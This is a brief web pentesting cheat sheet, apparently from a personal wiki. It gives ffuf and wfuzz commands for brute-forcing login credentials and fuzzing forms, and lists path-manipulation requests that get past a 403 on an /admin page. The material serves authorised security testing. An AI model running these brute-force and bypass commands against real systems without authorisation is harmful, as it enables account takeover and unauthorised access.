WEB
Nowadays, websites are programmed using various technologies such as databases, web development frameworks, programming languages, APIs, data formats, protocols and browsers. Each of them has specific vulnerabilities that the developer should be aware of, which is not always the case, as you can see in OWASP Top Ten.
This section contains several vulnerabilities worth checking if you encounter a web pentesting.
During a web vulnerability assessment, it is for sure that the web page might have one or several post forms asking for user data.
Fuzzing the forms might allow you to brute force credentials or discover vulnerabilities like SSTI, SQLi, XSS, etc.
ffuf -w "./usuarios.txt:USERS" -w "./wordlist.txt:PASSWDS" -t 60 -u http://<URL>/login -H "Content-Type: application/json;charset=utf-8" -X POST -d '{"username":"USERS","password":"PASSWDS"}'
There might also be the case that you need to encode the data (URL format, base64, etc.) before sending it to the server. For doing so, you need to use wfuzz because ffuf doesn't support it.
wfuzz -u http://<URL>/search -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'name=FUZZ' -z file,/usr/share/wordlists/SecLists/Fuzzing/special-chars.txt,urlencode
If the web service is misconfigured, you can try several techniques and tools to bypass filters.
GET /admin ==> 403 Forbidden
GET /blablabal/%2e%2e/admin ==> 200 OK
GET /blablabal/..;/admin ==> 200 OK
GET /blablabal/;/admin ==> 200 OK
GET /blablabal/admin/..;/ ==> 200 OK
GET /admin?access=1 ==> 200 OK
There are several tools that you can use to try to bypass such filters:
Note: If you want to try all them at the same time you can use 403bypasser_installer.sh to install such tools and 403bypasser.sh to use them.
Last modified 8mo ago